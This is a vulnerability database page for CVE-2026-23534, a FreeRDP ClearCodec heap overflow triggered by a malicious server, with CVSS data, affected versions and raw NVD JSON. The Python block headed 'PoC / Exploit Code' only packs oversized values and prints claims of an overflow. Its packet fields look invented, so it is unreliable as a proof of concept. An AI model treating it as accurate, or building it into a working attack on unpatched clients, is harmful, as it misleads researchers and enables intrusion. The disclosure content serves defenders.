Security Vulnerability Report
中文
CVE-2026-23534 CVSS 9.8 CRITICAL

CVE-2026-23534

Published: 2026-01-19 18:16:05
Last Modified: 2026-01-28 18:44:12

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, a client-side heap buffer overflow occurs in the ClearCodec bands decode path when crafted band coordinates allow writes past the end of the destination surface buffer. A malicious server can trigger a client‑side heap buffer overflow, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct def create_malicious_rdp_packet(): """ Generate a PoC for CVE-2026-23534 Malicious ClearCodec band data causing heap buffer overflow """ # RDP PDU header pdu_type = 0x03 # TS_RDP_DATA_PDU # ClearCodec-specific payload codec_type = 0x0E # ClearCodec # Malicious band data with oversized coordinates # This triggers overflow when processed by ClearCodec decoder band_width = 0x7FFFFFFF # Oversized width band_height = 0x7FFFFFFF # Oversized height band_x = 0x7FFFFFFF # Oversized x offset band_y = 0x7FFFFFFF # Oversized y offset payload = struct.pack('>IIII', band_width, band_height, band_x, band_y) return pdu_type, payload def exploit(): """ Simulate exploitation of CVE-2026-23534 Attacker controls RDP server to send malicious ClearCodec data """ print("CVE-2026-23534 PoC - FreeRDP ClearCodec Heap Overflow") print("Target: FreeRDP < 3.21.0") print("Attack Vector: Malicious RDP server sends crafted ClearCodec band data") pdu_type, payload = create_malicious_rdp_packet() print(f"\nMalicious Packet Created:") print(f" PDU Type: 0x{pdu_type:02x}") print(f" Band Width: 0x{payload[0:4].hex()} (overflow value)") print(f" Band Height: 0x{payload[4:8].hex()} (overflow value)") print(f" Band X Offset: 0x{payload[8:12].hex()} (overflow value)") print(f" Band Y Offset: 0x{payload[12:16].hex()} (overflow value)") print("\nResult: Heap buffer overflow in ClearCodec decoder") print("Impact: DoS or potential RCE via heap corruption") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23534", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:05.307", "lastModified": "2026-01-28T18:44:11.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, a client-side heap buffer overflow occurs in the ClearCodec bands decode path when crafted band coordinates allow writes past the end of the destination surface buffer. A malicious server can trigger a client‑side heap buffer overflow, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.21.0, un desbordamiento de búfer de montón del lado del cliente ocurre en la ruta de decodificación de las bandas ClearCodec cuando coordenadas de banda manipuladas permiten escrituras más allá del final del búfer de superficie de destino. Un servidor malicioso puede desencadenar un desbordamiento de búfer de montón del lado del cliente, causando un fallo (DoS) y una posible corrupción del montón con riesgo de ejecución de código dependiendo del comportamiento del asignador y del diseño del montón circundante. La versión 3.21.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.21.0", "matchCriteriaId": "E6899265-905F-4A3A-96D3-07B552FBFBEC"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/clear.c#L878-L879", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/38514dfa5813aa945a86cfbcec279033f8394468/libfreerdp/codec/clear.c#L883-L884", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.21.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3frr-mp8w-4599", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}